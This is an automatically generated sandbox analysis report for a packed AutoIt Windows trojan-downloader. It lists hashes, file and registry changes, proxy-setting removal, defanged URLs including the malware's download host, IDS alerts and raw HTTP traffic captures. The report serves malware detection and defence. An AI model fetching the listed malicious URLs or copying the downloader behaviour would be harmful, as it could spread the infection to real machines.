Trojan.Generic.18490310_2f159d73cf

by malwarelabrobot on December 3rd, 2016 in Malware Descriptions.

HEUR:Trojan-Downloader.Win32.Generic (Kaspersky), Trojan.Generic.18490310 (B) (Emsisoft), Trojan.Generic.18490310 (AdAware), Trojan.Win32.Ransom.FD, Worm.Win32.AutoIt.FD, WormAutoItGen.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Ransom, Trojan, Worm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 2f159d73cfcce4c6440636800c8d822c
SHA1: 33ae3f8a5697a0b99e39343b2b3234e8f0d68732
SHA256: 9ef0f5e7e8ff487a6e55480c9ac9df99fd2165247d9c7e38afa069bd51b8d34b
SSDeep: 12288:8HLUMuiv9RgfSjAzRtyJ4pNugG2IOur5Q:WtARu4p40Il5Q
Size: 522011 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, InstallShieldArchive, UPolyXv05_v6
Company: no certificate found
Created at: 2008-12-24 11:00:07
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

rundll32.exe:2592
Update_v5.67.exe:3196

The Trojan injects its code into the following process(es):

%original file name%.exe:1760

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1760 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_newaccount_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\filesrd_2015[1].txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VAPF0F5P.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_quit_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (4268 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\metin2start.bmp (6761 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[1].htm (3878 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\fTmIQU3LxvB[2].htm (4766 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\filesrw_2015[1].txt (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67 (4377261 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DCE3BDBF5BDD86E2AB5B471CB90709B4_A7704BF276C97AA4D70879F611AA7DB9 (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\LVx-xkvaJ0b[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (392 bytes)
C:\filesrw_2015.txt (52 bytes)
C:\Update_v5.67.exe (1166752 bytes)
C:\filesrd_2015.txt (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (3834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (1857 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\snowstorm[1].js (8154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\index2[1].htm (1191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\like[1].htm (8174 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_startgame_up.bmp (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_settings_up.bmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\on[1].png (626 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB (1413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\sdk[1].js (100760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\back19[1].jpg (11769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\btn_idpwd_up.bmp (196 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFC.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFD.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD86B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD87B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7D10.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFE.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD87C.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\Update_v5[1].67 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CEC.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD86A.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\aut7CFF.tmp (0 bytes)

The process rundll32.exe:2592 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\HFF2F6ER\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\6ZDFKEVH\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UP31RB6J\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\9XT73B7S\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)

Registry activity

The process %original file name%.exe:1760 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Size" = "10"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"cFormatTags" = "2"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"InitHits" = "100"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"aFormatTagCache" = "01 00 00 00 10 00 00 00 55 00 00 00 1E 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Enable" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\SOFTWARE\Microsoft\AudioCompressionManager\DriverCache\msacm.l3acm]
"cFilterTags" = "0"
"fdwSupport" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1230109207"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\2f159d73cfcce4c6440636800c8d822c_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Factor" = "20"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Update_v5.67.exe:3196 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"FileTracingMask" = "4294901760"
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\Update_v5_RASAPI32]
"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

MD5 File path
e227a4ed4c001b36f412cbe8d684520f c:\Update_v5.67.exe
e227a4ed4c001b36f412cbe8d684520f c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\Update_v5[1].67

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 0, 0
File Description:
Comments:
Language: English (United Kingdom)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 438272 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 442368 262144 259072 5.49428 a5f4fb3e4432cd1e1aa40a6202ebdbed
.rsrc 704512 16384 14336 4.29037 b0ece96039787b18a244127a184d73b7

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://www.elitemt2pt.com/index2.php 104.24.119.234
hxxp://www.elitemt2pt.com/images/on.png 104.24.119.234
hxxp://www.elitemt2pt.com/snowstorm.js 104.24.119.234
hxxp://www.elitemt2pt.com/images/launcher/back19.jpg 104.24.119.234
hxxp://scontent.xx.fbcdn.net/pt_PT/sdk.js
hxxp://scontent.xx.fbcdn.net/connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42
hxxp://www.elitemt2pt.com/download/filesrd_2015.txt 104.24.119.234
hxxp://www.elitemt2pt.com/download/filesrw_2015.txt 104.24.119.234
hxxp://www.elitemt2pt.com/download/Update_v5.67 104.24.119.234
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8=
hxxp://cs9.wac.phicdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc=
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon 173.194.44.65
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= 93.184.220.29
hxxp://staticxx.facebook.com/connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42 31.13.93.7
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= 93.184.220.29
hxxp://connect.facebook.net/pt_PT/sdk.js 31.13.92.14
www.facebook.com 31.13.92.36
static.xx.fbcdn.net 31.13.92.14


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile
ET POLICY PE EXE or DLL Windows file download HTTP
ET TROJAN Possible Banload Downloading Executable
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Traffic

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1
Cache-Control: max-age = 511667
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT
If-None-Match: "57ff143e-1d7"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=504138
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:13 GMT
Etag: "58410a93-1d7"
Expires: Fri, 09 Dec 2016 00:58:13 GMT
Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT
Server: ECS (vie/F2D5)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......>.i...G...&....cd ...2016
1201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&...
.cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..
................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i
.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5....
.].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.
w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=504138..Cont
ent-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:13 G
MT..Etag: "58410a93-1d7"..Expires: Fri, 09 Dec 2016 00:58:13 GMT..Last
-Modified: Fri, 02 Dec 2016 05:45:55 GMT..Server: ECS (vie/F2D5)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
...>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A.
..B..G@B.X....>.i...G...&....cd ........\..m. B.]......201612012200
00Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'.
.ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`.
.z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>
.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On..
.&.A/.b.QV....).`.ng...........
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=502070
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:19 GMT
Etag: "58410239-1d7"
Expires: Fri, 09 Dec 2016 00:58:19 GMT
Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT
Server: ECS (vie/F2BA)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..2016
1202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb.
..Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..
............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%
.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#
...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X
...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Cont
ent-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 G
MT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last
-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
..Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~..
.B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....201612020440
00Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o
\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.
*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.....
..( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I..
..X...P%.V..j0d.........G....
<<< skipped >>>


GET /connect/xd_arbiter/r/fTmIQU3LxvB.js?version=42 HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml xml, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://VVV.elitemt2pt.com/index2.php
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: staticxx.facebook.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Expires: Fri, 01 Dec 2017 20:16:32 GMT
Cache-Control: public,max-age=31536000,immutable
Content-Type: text/html; charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: DBS4cPOO8p3eFhqpS cmKznbm5bDkKnVxCgoZ9pssIuTzq5OcJfgDpbTqAVViaJ/LnFygcIvQXw/Y7k5FRZWUQ==
Date: Fri, 02 Dec 2016 12:58:07 GMT
Connection: keep-alive
Content-Length: 11585
...........}.{.H....W`m.....:vZ..x...}umU.L..j}.$......,....y@.$W.l}..
..cA....qe$5<{.....||...2.....x..<.#z....I..."M...e.$a...YFfa<
;....h:.......$..r..i../..]/i..=...t_..v..>.N.......i........=.B.8.
JS.m.i.4.G._.n.&.A...".......4.h1.h_. .*M...?8s..Z.i.FKRm.{..c.......c
.t.......*...... .,j..`J..s.?......D.m.."}.H./k.9MI..}.....z........V 
....T.B.k...b-0ws.........?...G6.d..r.....g....1.........-.e..Dk.c....
.].E.k-........y[vo.0oG4.....R...X...p.....G........}<.....<.pl.
......`.a..Q.._.m.o%......&.*.&.qNh..$O..v.|.S..|rb.....;6.D..2.......
.M.....w..f...g...x......s.u..p...8.NC....h.v...1....?>.*.^...j.u.k
...Vva<U....7.$...ew....V3..l..f... ..u.E...5..i.d.$....%..,T..H..(
..Z..SI......x. ..L..dr....yoD.X3...*..y..c........__.W%6.=..@..d..>
;...l...#y.^.;..fV....06.. .*Bxn...2...GX.......s.A..`.0w.8... h......
...4Lu..;\.. :..-G..A.&(.g.....2(6.g...v..K.;..v..4..&...&..:....G...A
/...y...-.....{$N.#..q|/,......d.j..........9.g.y....@.R..&..|C..Vk..z
...gL..........;.-.*.z.S.......,J....@....S#......Y..@. GE...]["(<D
......xFb*.82...:....}Qs.[....T`....... ..v.T.R...2...B..C\%[.Y...he .
f........y.....e...,.....vzil5.e._Z.j....:Q^[ .Y....G.|..s.o.3........
...l2fc.#-(.*...F$............EF.:.b...:X..JY._.o..&)5 .N.i8q.;i..2.U.
..m....@.....>.k....@Gx..B...=3....X^...........(.....,...k...9.6@.
. ...>...@.U..1.v.Y..W.Ua...4m...I.C..W..)i......\ ..9.(q......[.. 
.....>l..i..a.Z.m.D..........|d{.i..M..... ate..].-Q..p.!B..|......
........D.s[.B......p..'........\.\........M.....K......N5..*.yhb.
<<< skipped >>>


GET /pt_PT/sdk.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.elitemt2pt.com/index2.php
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: connect.facebook.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Expose-Headers: X-FB-Content-MD5
x-fb-content-md5: 736864826f5282954678c01f4e78d48b
ETag: "8a0d5807b24937abbd0d0c786da250e2"
X-Frame-Options: DENY
timing-allow-origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data:;style-src data: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* hXXps://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
Cache-Control: public,max-age=1200,stale-while-revalidate=3600
X-XSS-Protection: 0
Content-Type: application/x-javascript; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; preload
Expires: Fri, 02 Dec 2016 13:03:15 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: 0s8Jdh4ZubYtSx2WL6PVEA==
X-FB-Debug: QWavbFVctq j K1RXzuf6K1LL/AixU4gycQlVRI9KNFbNIYx2jR9lMjtFsZw38xPziLBAvZgkHB/ SX5yk/eWw==
Date: Fri, 02 Dec 2016 12:58:07 GMT
Connection: keep-alive
Content-Length: 59097
............y..H.(...>...X..1x..J....}..[vu..../......0....o,......
]s...t.).{FFFD...S..Y......G..?....Q.'.I'...Q...Z.R?8rFI...O{.._{?.._.
. .h6..{I...x.(..N.N.>...~..c.[..]o\Jz^.d$:.#.8._.q.M...5,.K.Qcoo:.
V...F....s.{.O_..x.v.s..W2...S?.F...W.E.|5...eNuJW......W.4/.n..$F.`Vr
K.d..h.%Q2.yU..,.TM.6...H...|.:0.?>._S]...K&.0.....W...,3.,Tq.#....
)...d..Il71.......A...t.*j......?g..7.l..||.......y|...6...u.^.XU...6.
.....~.....q.M]`Q ..s..E.....S.....dJ'..8...t.R...1...........b..j...I
.>V*r.x.......%.c...1..0.c..'.g8...&...\A....R[.7o.m.x.%.6..(..3.Y.
e...c......`..b\J3...(.I4v...ug...J...e.....;....n....Je.$.l......|..]
.c..w....*o.wv.....p..M,.@.&|F`..J.-..t...T...7..V...u(.Z..4e.As.tV.!?
.....?.Nv.}.WM.8)...~CW..vv...H..0..QO.p..A.k..cKO.U.E.u....S....};...
P..U...Q.H..o.e....].G>T.. $U,...m.[....0C:.......I...g..3L..G.q..z
..J~X.Wv..j.}.<0.X....gg../D.1t;..LO(..1.....m.@....o..j.@.......z%
'.........@.......C7S.*...../BG'\...Bh.W...R..w $l|.....V.Qw.x.\.rX.`2
.....;Q0...B..\U.)..K...).]OXvF.mS.&nv'....v....^5.^.{.<.-~'.z.X\{.
.~S...{..K^C._.J../.`.ae..APX...d........].. ....v.....E....vI...~.O..
K:.n&..sZ.n.lf..mD....u/,>....2....l'..&...3xc....n.....l..i.<..
..S....4.<.`x.....Ww..K\..vA.,{...Io.._.MKo..h\.>P7JV....5...Jm.
.K...K"@.64.;....F.........$.u.....&,X.O.Z3x.7.8..1.O.^.w.\....%S3...*
....49]M.~...L.9..]d......X.Y-...)).BK....!&A.V....phP.%. ....Us.N.ox.
......\.4a.....P..........g.h...q...-.D%..6.w...h.\..q...5........vd..
